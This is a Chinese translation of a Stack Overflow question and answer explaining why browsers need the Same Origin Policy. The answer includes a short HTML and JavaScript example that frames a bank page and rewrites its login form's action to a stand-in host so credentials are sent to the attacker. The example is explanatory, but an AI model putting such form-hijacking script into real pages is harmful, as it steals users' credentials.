我已经阅读了有关Same Origin Policy
的信息,但为了更好地理解这一点:有人可以写一个简单的代码(用任何语言)来证明SOP停止了攻击吗?
在SOP出现之前如何攻击某人?
最佳答案
<iframe id="bank" src="https://yourbank.com"></iframe>
<script>
window.onload = function() {
document.getElementById('bank').contentWindow.document.forms[0].action =
'http://example.com';
};
</script>
Javascript代码更改了表单的action属性(可以说是目的地),因此,在提交表单时,会将凭据发送给我,而不是银行。
如果我在服务器上设置了将您重定向到银行的PHP脚本,您甚至不会注意到它。
使用相同来源策略,这种攻击是不可能的。我域中的网站无法读取或修改银行网站的内容。
关于security - 为什么需要相同来源策略的简单示例,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/14667189/